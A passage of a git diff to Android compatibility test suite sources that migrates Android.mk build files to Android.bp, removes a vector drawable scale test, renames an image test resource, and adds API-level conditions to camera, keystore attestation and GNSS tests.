- android_graphics_cts_VulkanPreTransformCtsActivity.cpp \
- CameraTestHelpers.cpp \
- ImageReaderTestHelpers.cpp \
- MediaTestHelpers.cpp \
- NativeTestHelpers.cpp \
- VulkanPreTransformTestHelpers.cpp \
- VulkanTestHelpers.cpp
-
-LOCAL_CFLAGS += -Wall -Werror -DGL_GLEXT_PROTOTYPES -DEGL_EGLEXT_PROTOTYPES
-
-LOCAL_STATIC_LIBRARIES := libvkjson_ndk
-LOCAL_SHARED_LIBRARIES := libandroid libvulkan libnativewindow libsync liblog libdl libjnigraphics \
- libcamera2ndk libmediandk libEGL libGLESv2
-LOCAL_NDK_STL_VARIANT := c++_static
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/graphics/res/raw/f16.png b/tests/tests/graphics/res/raw/f16.png
deleted file mode 100644
index 2c3aed2..0000000
--- a/tests/tests/graphics/res/raw/f16.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/src/android/graphics/cts/CameraVulkanGpuTest.java b/tests/tests/graphics/src/android/graphics/cts/CameraVulkanGpuTest.java
index b310978..483a17a 100644
--- a/tests/tests/graphics/src/android/graphics/cts/CameraVulkanGpuTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/CameraVulkanGpuTest.java
@@ -15,13 +15,20 @@
*/
package android.graphics.cts;
+import android.content.Context;
import android.content.pm.PackageManager;
import android.content.res.AssetManager;
+import android.hardware.camera2.CameraManager;
+import android.hardware.camera2.CameraCharacteristics;
import android.test.suitebuilder.annotation.SmallTest;
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.PropertyUtil;
+
+import java.util.ArrayList;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -41,6 +48,32 @@
return;
}
+ if(PropertyUtil.getFirstApiLevel() < 28){
+ // HAL3 is not required for P upgrade devices.
+ return;
+ }
+
+ CameraManager camMgr =
+ (CameraManager) InstrumentationRegistry.getContext().
+ getSystemService(Context.CAMERA_SERVICE);
+ try {
+ String[] cameraIds = camMgr.getCameraIdList();
+ ArrayList<String> mToBeTestedCameraIds = new ArrayList<String>();
+ for (String id : cameraIds) {
+ CameraCharacteristics characteristics = camMgr.getCameraCharacteristics(id);
+ int hwLevel =
+ characteristics.get(CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL);
+ if (hwLevel != CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_LEGACY) {
+ mToBeTestedCameraIds.add(id);
+ }
+ }
+
+ // skip the test if all camera devices are legacy
+ if (mToBeTestedCameraIds.size() == 0) return;
+ } catch (IllegalArgumentException e) {
+ // This is the exception that should be thrown in this case.
+ }
+
loadCameraAndVerifyFrameImport(InstrumentationRegistry.getContext().getAssets());
}
diff --git a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
index 2032517..cbf1a61 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
@@ -1679,7 +1679,7 @@
};
Listener l = new Listener();
SourceCreator f = mCreators[0];
- for (int resId : new int[] { R.drawable.png_test, R.raw.f16 }) {
+ for (int resId : new int[] { R.drawable.png_test, R.raw.basi6a16 }) {
Bitmap normal = null;
try {
normal = ImageDecoder.decodeBitmap(f.apply(resId));
@@ -1705,7 +1705,7 @@
// We do not support 565 in HARDWARE, so no RAM savings
// are possible.
assertEquals(normalByteCount, byteCount);
- } else { // R.raw.f16
+ } else { // R.raw.basi6a16
// This image defaults to F16. MEMORY_POLICY_LOW_RAM
// forces "test" to decode to 8888. But if the device
// does not support F16 in HARDWARE, "normal" is also
@@ -1723,10 +1723,10 @@
}
}
} else {
- // Not decoding to HARDWARE, but |normal| was. Again, if f16
+ // Not decoding to HARDWARE, but |normal| was. Again, if basi6a16
// was decoded to 8888, which we can detect by looking at the color
// space, no savings are possible.
- if (resId == R.raw.f16 && !normal.getColorSpace().equals(
+ if (resId == R.raw.basi6a16 && !normal.getColorSpace().equals(
ColorSpace.get(ColorSpace.Named.LINEAR_EXTENDED_SRGB))) {
assertEquals(normalByteCount, byteCount);
} else {
@@ -1764,8 +1764,8 @@
// If this were stored in drawable/, it would
// be converted from 16-bit to 8. FIXME: Is
// behavior still desirable now that we have
- // F16? b/119760146
- R.raw.f16 };
+ // F16?
+ R.raw.basi6a16 };
// An opaque image can be converted to 565, but postProcess will promote
// to 8888 in case alpha is added. The third image defaults to F16, so
// even with postProcess it will only be promoted to 8888.
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableScaleTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableScaleTest.java
deleted file mode 100644
index 29afaaf..0000000
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/VectorDrawableScaleTest.java
+++ /dev/null
@@ -1,106 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.graphics.drawable.cts;
-
-import android.app.Activity;
-import android.content.res.Resources;
-import android.graphics.Bitmap;
-import android.graphics.BitmapFactory;
-import android.graphics.Rect;
-import android.graphics.cts.R;
-import android.view.PixelCopy;
-import android.widget.ImageView;
-
-import androidx.test.filters.MediumTest;
-import androidx.test.rule.ActivityTestRule;
-
-import com.android.compatibility.common.util.SynchronousPixelCopy;
-import com.android.compatibility.common.util.WidgetTestUtils;
-
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.Test;
-
-@MediumTest
-public class VectorDrawableScaleTest {
- private static final boolean DBG_SCREENSHOT = false;
- @Rule
- public final ActivityTestRule<DrawableStubActivity> mActivityRule =
- new ActivityTestRule<>(DrawableStubActivity.class);
-
- private Activity mActivity = null;
- private Resources mResources = null;
-
- public VectorDrawableScaleTest() throws Throwable {
- }
-
- @Before
- public void setup() {
- mActivity = mActivityRule.getActivity();
- mResources = mActivity.getResources();
- }
-
- @Test
- public void testVectorDrawableInImageView() throws Throwable {
- mActivityRule.runOnUiThread(() -> {
- mActivity.setContentView(R.layout.vector_drawable_scale_layout);
- });
-
- Bitmap screenShot = null;
- WidgetTestUtils.runOnMainAndDrawSync(mActivityRule,
- mActivity.findViewById(R.id.scaletest),
- () -> setupImageViews());
- final Rect srcRect = new Rect();
- mActivityRule.runOnUiThread(() -> {
- mActivity.findViewById(R.id.imageview1).getGlobalVisibleRect(srcRect);
- });
-
- screenShot = takeScreenshot(srcRect);
- if (DBG_SCREENSHOT) {
- String outputFolder = mActivity.getExternalFilesDir(null).getAbsolutePath();
- DrawableTestUtils.saveVectorDrawableIntoPNG(screenShot, outputFolder, "scale");
- }
-
- Bitmap golden = BitmapFactory.decodeResource(mResources,
- R.drawable.vector_drawable_scale_golden);
- DrawableTestUtils.compareImages("vectorDrawableScale", screenShot, golden,
- DrawableTestUtils.PIXEL_ERROR_THRESHOLD,
- DrawableTestUtils.PIXEL_ERROR_COUNT_THRESHOLD,
- DrawableTestUtils.PIXEL_ERROR_TOLERANCE);
- }
-
- // Setup 2 imageviews, one big and one small. The purpose of this test is to make sure that the
- // imageview with smaller scale will not affect the appearance in the imageview with larger
- // scale.
- private void setupImageViews() {
- ImageView imageView = (ImageView) mActivity.findViewById(R.id.imageview1);
- imageView.setImageResource(R.drawable.vector_icon_create);
- imageView = (ImageView) mActivity.findViewById(R.id.imageview2);
- imageView.setImageResource(R.drawable.vector_icon_create);
- }
-
- // Copy the source rectangle from the screen into the returned bitmap.
- private Bitmap takeScreenshot(Rect srcRect) {
- SynchronousPixelCopy copy = new SynchronousPixelCopy();
- Bitmap dest = Bitmap.createBitmap(
- srcRect.width(), srcRect.height(), Bitmap.Config.ARGB_8888);
- int copyResult = copy.request(mActivity.getWindow(), srcRect, dest);
- Assert.assertEquals(PixelCopy.SUCCESS, copyResult);
- return dest;
- }
-}
diff --git a/tests/tests/hardware/Android.bp b/tests/tests/hardware/Android.bp
new file mode 100644
index 0000000..703dee7
--- /dev/null
+++ b/tests/tests/hardware/Android.bp
@@ -0,0 +1,46 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsHardwareTestCases",
+ defaults: ["cts_defaults"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ compile_multilib: "both",
+ libs: [
+ "android.test.runner.stubs",
+ "android.test.base.stubs",
+ ],
+ static_libs: [
+ "androidx.annotation_annotation",
+ "compatibility-device-util-axt",
+ "cts-input-lib",
+ "ctstestrunner-axt",
+ "mockito-target-minus-junit4",
+ "platform-test-annotations",
+ "ub-uiautomator",
+ ],
+ jni_libs: [
+ "libctshardware_jni",
+ "libnativehelper_compat_libc++",
+ ],
+ srcs: ["src/**/*.java"],
+
+ platform_apis: true,
+
+}
diff --git a/tests/tests/hardware/Android.mk b/tests/tests/hardware/Android.mk
deleted file mode 100644
index 64915d4..0000000
--- a/tests/tests/hardware/Android.mk
+++ /dev/null
@@ -1,50 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_MULTILIB := both
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- androidx.test.rules \
- androidx.annotation_annotation \
- compatibility-device-util-axt \
- cts-input-lib \
- ctstestrunner-axt \
- mockito-target-minus-junit4 \
- platform-test-annotations \
- ub-uiautomator
-
-LOCAL_JNI_SHARED_LIBRARIES := libctshardware_jni libnativehelper_compat_libc++
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsHardwareTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/hardware/jni/Android.bp b/tests/tests/hardware/jni/Android.bp
new file mode 100644
index 0000000..e707edb
--- /dev/null
+++ b/tests/tests/hardware/jni/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test_library {
+ name: "libctshardware_jni",
+ cflags: ["-Werror"],
+ gtest: false,
+ srcs: [
+ "CtsHardwareJniOnLoad.cpp",
+ "android_hardware_cts_HardwareBufferTest.cpp",
+ ],
+ shared_libs: [
+ "libandroid",
+ "libnativehelper_compat_libc++",
+ "liblog",
+ ],
+
+ stl: "libc++_static",
+
+ clang: true,
+}
diff --git a/tests/tests/hardware/jni/Android.mk b/tests/tests/hardware/jni/Android.mk
deleted file mode 100644
index 0cd95e7..0000000
--- a/tests/tests/hardware/jni/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libctshardware_jni
-
-LOCAL_CFLAGS += -Werror
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := \
- CtsHardwareJniOnLoad.cpp \
- android_hardware_cts_HardwareBufferTest.cpp
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-
-LOCAL_SHARED_LIBRARIES := libandroid libnativehelper_compat_libc++ liblog
-
-LOCAL_CXX_STL := libc++_static
-
-LOCAL_CLANG := true
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/icu/OWNERS b/tests/tests/icu/OWNERS
new file mode 100644
index 0000000..2d36574
--- /dev/null
+++ b/tests/tests/icu/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 24949
+include platform/libcore:/OWNERS
diff --git a/tests/tests/jvmti/Android.mk b/tests/tests/jvmti/Android.mk
deleted file mode 100644
index 8facc9f..0000000
--- a/tests/tests/jvmti/Android.mk
+++ /dev/null
@@ -1,18 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-# Include the associated library's makefile.
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/jvmti/attaching/Android.bp b/tests/tests/jvmti/attaching/Android.bp
new file mode 100644
index 0000000..36f94a7
--- /dev/null
+++ b/tests/tests/jvmti/attaching/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsJvmtiAttachingTestCases",
+ defaults: ["cts_defaults"],
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ static_libs: [
+ "ctstestrunner-axt",
+ "androidx.test.rules",
+ ],
+ compile_multilib: "both",
+ jni_libs: [
+ "libjvmtiattachingtestagent1",
+ "libjvmtiattachingtestagent2",
+ "libjvmtiattachingtestagent3",
+ "libjvmtiattachingtestagent4",
+ ],
+ srcs: ["src/**/*.java"],
+ sdk_version: "current",
+}
diff --git a/tests/tests/jvmti/attaching/Android.mk b/tests/tests/jvmti/attaching/Android.mk
deleted file mode 100644
index fb2a765..0000000
--- a/tests/tests/jvmti/attaching/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsJvmtiAttachingTestCases
-
-LOCAL_MODULE_TAGS := optional
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
-
-LOCAL_MULTILIB := both
-LOCAL_JNI_SHARED_LIBRARIES := libjvmtiattachingtestagent1 \
- libjvmtiattachingtestagent2 \
- libjvmtiattachingtestagent3 \
- libjvmtiattachingtestagent4 \
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/jvmti/attaching/OWNERS b/tests/tests/jvmti/attaching/OWNERS
new file mode 100644
index 0000000..6e06299
--- /dev/null
+++ b/tests/tests/jvmti/attaching/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include /hostsidetests/jvmti/run-tests/OWNERS
diff --git a/tests/tests/jvmti/attaching/jni/Android.bp b/tests/tests/jvmti/attaching/jni/Android.bp
new file mode 100644
index 0000000..8e26f86
--- /dev/null
+++ b/tests/tests/jvmti/attaching/jni/Android.bp
@@ -0,0 +1,69 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+//
+// This is the shared library included by the JNI test app.
+//
+
+cc_test_library {
+ name: "libjvmtiattachingtestagent1",
+ gtest: false,
+ srcs: ["agent.c"],
+ sdk_version: "current",
+ cflags: [
+ "-Wall",
+ "-Werror",
+ "-Wno-unused-parameter",
+ "-DAGENT_NR=1",
+ ],
+}
+
+cc_test_library {
+ name: "libjvmtiattachingtestagent2",
+ gtest: false,
+ srcs: ["agent.c"],
+ sdk_version: "current",
+ cflags: [
+ "-Wall",
+ "-Werror",
+ "-Wno-unused-parameter",
+ "-DAGENT_NR=2",
+ ],
+}
+
+cc_test_library {
+ name: "libjvmtiattachingtestagent3",
+ gtest: false,
+ srcs: ["agent.c"],
+ sdk_version: "current",
+ cflags: [
+ "-Wall",
+ "-Werror",
+ "-Wno-unused-parameter",
+ "-DAGENT_NR=3",
+ ],
+}
+
+cc_test_library {
+ name: "libjvmtiattachingtestagent4",
+ gtest: false,
+ srcs: ["agent.c"],
+ sdk_version: "current",
+ cflags: [
+ "-Wall",
+ "-Werror",
+ "-Wno-unused-parameter",
+ "-DAGENT_NR=4",
+ ],
+}
diff --git a/tests/tests/jvmti/attaching/jni/Android.mk b/tests/tests/jvmti/attaching/jni/Android.mk
deleted file mode 100644
index b0d8376..0000000
--- a/tests/tests/jvmti/attaching/jni/Android.mk
+++ /dev/null
@@ -1,44 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-#
-# This is the shared library included by the JNI test app.
-#
-
-LOCAL_PATH:= $(call my-dir)
-
-define jvmti-attaching-test-agent
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libjvmtiattachingtestagent$1
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := agent.c
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter
-
-LOCAL_CFLAGS += -DAGENT_NR=$1
-
-include $(BUILD_SHARED_LIBRARY)
-endef
-
-$(eval $(call jvmti-attaching-test-agent,1))
-$(eval $(call jvmti-attaching-test-agent,2))
-$(eval $(call jvmti-attaching-test-agent,3))
-$(eval $(call jvmti-attaching-test-agent,4))
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index 8ac1dfc..e3f28fa 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -16,6 +16,7 @@
package android.keystore.cts;
+import android.os.SystemProperties;
import android.platform.test.annotations.RestrictedBuildTest;
import static android.keystore.cts.Attestation.KM_SECURITY_LEVEL_SOFTWARE;
@@ -776,8 +777,11 @@
assertNotNull(rootOfTrust);
assertNotNull(rootOfTrust.getVerifiedBootKey());
assertTrue(rootOfTrust.getVerifiedBootKey().length >= 32);
- assertTrue(rootOfTrust.isDeviceLocked());
- assertEquals(KM_VERIFIED_BOOT_VERIFIED, rootOfTrust.getVerifiedBootState());
+ if (SystemProperties.getInt("ro.product.first_api_level", 0) >= 29) {
+ // Devices launched in Q and after should run CTS in LOCKED state.
+ assertTrue(rootOfTrust.isDeviceLocked());
+ assertEquals(KM_VERIFIED_BOOT_VERIFIED, rootOfTrust.getVerifiedBootState());
+ }
}
private void checkRsaKeyDetails(Attestation attestation, int keySize, int purposes,
diff --git a/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java b/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
index 7986af2..26aedf8 100644
--- a/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
+++ b/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
@@ -24,6 +24,7 @@
import android.location.GnssStatus;
import android.location.LocationManager;
import android.os.Build;
+import android.os.SystemProperties;
import android.util.Log;
import java.util.Arrays;
@@ -55,7 +56,6 @@
private static final int YEAR_2016 = 2016;
private static final int YEAR_2017 = 2017;
- private static final int YEAR_2018 = 2018;
private enum GnssBand {
GNSS_L1,
@@ -816,10 +816,10 @@
public static void verifyGnssCarrierFrequency(SoftAssert softAssert,
TestLocationManager testLocationManager,
boolean hasCarrierFrequency, float carrierFrequencyHz) {
- // Enforcing CarrierFrequencyHz check only for year 2018+
- if (testLocationManager.getLocationManager().getGnssYearOfHardware() >= YEAR_2018) {
+ // Enforcing CarrierFrequencyHz present only for devices shipped with P+.
+ if (SystemProperties.getInt("ro.product.first_api_level", 0) >= Build.VERSION_CODES.P) {
softAssert.assertTrue("Measurement has Carrier Frequency: " + hasCarrierFrequency,
- hasCarrierFrequency);
+ hasCarrierFrequency);
}
if (hasCarrierFrequency) {
diff --git a/tests/tests/media/Android.bp b/tests/tests/media/Android.bp
new file mode 100644
index 0000000..9989b6b
--- /dev/null
+++ b/tests/tests/media/Android.bp
@@ -0,0 +1,79 @@
+// Copyright (C) 2008 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+ name: "ctsmediautil",
+ srcs: [
+ "src/android/media/cts/CodecImage.java",
+ "src/android/media/cts/YUVImage.java",
+ "src/android/media/cts/CodecUtils.java",
+ ],
+ sdk_version: "current",
+}
+
+android_test {
+ name: "CtsMediaTestCases",
+ defaults: ["cts_defaults"],
+ // include both the 32 and 64 bit versions
+ compile_multilib: "both",
+ static_libs: [
+ "compatibility-device-util-axt",
+ "ctsdeviceutillegacy-axt",
+ "ctsmediautil",
+ "ctstestrunner-axt",
+ "hamcrest-library",
+ "ctstestserver",
+ "junit",
+ "ndkaudio",
+ "testng",
+ "truth-prebuilt",
+ "mockito-target-minus-junit4",
+ "androidx.heifwriter_heifwriter",
+ "androidx.media_media",
+ ],
+ jni_libs: [
+ "libaudio_jni",
+ "libc++",
+ "libctscodecutils_jni",
+ "libctsimagereader_jni",
+ "libctsmediadrm_jni",
+ "libctsmediacodec_jni",
+ "libnativehelper_compat_libc++",
+ "libndkaudioLib",
+ ],
+ // do not compress VP9 video files
+ aaptflags: [
+ "-0 .vp9",
+ "-0 .ts",
+ "-0 .heic",
+ "-0 .trp",
+ ],
+ srcs: ["src/**/*.java"],
+ // This test uses private APIs
+ //sdk_version: "current",
+ platform_apis: true,
+ libs: [
+ "org.apache.http.legacy",
+ "android.test.base.stubs",
+ "android.test.runner.stubs",
+ ],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ "cts_instant",
+ ],
+ host_required: ["cts-dynamic-config"],
+}
diff --git a/tests/tests/media/Android.mk b/tests/tests/media/Android.mk
deleted file mode 100644
index ed41984..0000000
--- a/tests/tests/media/Android.mk
+++ /dev/null
@@ -1,96 +0,0 @@
-# Copyright (C) 2008 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := \
- src/android/media/cts/CodecImage.java \
- src/android/media/cts/YUVImage.java \
- src/android/media/cts/CodecUtils.java
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE := ctsmediautil
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-# include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util-axt \
- ctsdeviceutillegacy-axt \
- ctsmediautil \
- ctstestrunner-axt hamcrest-library \
- ctstestserver \
- junit \
- ndkaudio \
- testng \
- truth-prebuilt \
- mockito-target-minus-junit4 \
- androidx.heifwriter_heifwriter \
- androidx.media_media \
-
-LOCAL_JNI_SHARED_LIBRARIES := \
- libaudio_jni \
- libc++ \
- libctscodecutils_jni \
- libctsimagereader_jni \
- libctsmediadrm_jni \
- libctsmediacodec_jni \
- libnativehelper_compat_libc++ \
- libndkaudioLib
-
-# do not compress VP9 video files
-LOCAL_AAPT_FLAGS := -0 .vp9
-LOCAL_AAPT_FLAGS += -0 .ts
-LOCAL_AAPT_FLAGS += -0 .heic
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsMediaTestCases
-
-# This test uses private APIs
-#LOCAL_SDK_VERSION := current
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_JAVA_LIBRARIES += \
- org.apache.http.legacy \
- android.test.base.stubs \
- android.test.runner.stubs
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_HOST_REQUIRED_MODULES := cts-dynamic-config
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/media/AndroidManifest.xml b/tests/tests/media/AndroidManifest.xml
index 49feb9e..4b3e7a0 100644
--- a/tests/tests/media/AndroidManifest.xml
+++ b/tests/tests/media/AndroidManifest.xml
@@ -100,6 +100,20 @@
<action android:name="android.media.browse.MediaBrowserService" />
</intent-filter>
</service>
+ <!-- Keep the test services synced together with the TestUtils.java -->
+ <service android:name="android.media.cts.MockMediaSessionService2">
+ <intent-filter>
+ <action android:name="android.media.MediaSessionService2" />
+ </intent-filter>
+ <meta-data android:name="android.media.session" android:value="TestSession" />
+ </service>
+ <!-- Keep the test services synced together with the MockMediaLibraryService -->
+ <service android:name="android.media.cts.MockMediaLibraryService2">
+ <intent-filter>
+ <action android:name="android.media.MediaLibraryService2" />
+ </intent-filter>
+ <meta-data android:name="android.media.session" android:value="TestLibrary" />
+ </service>
</application>
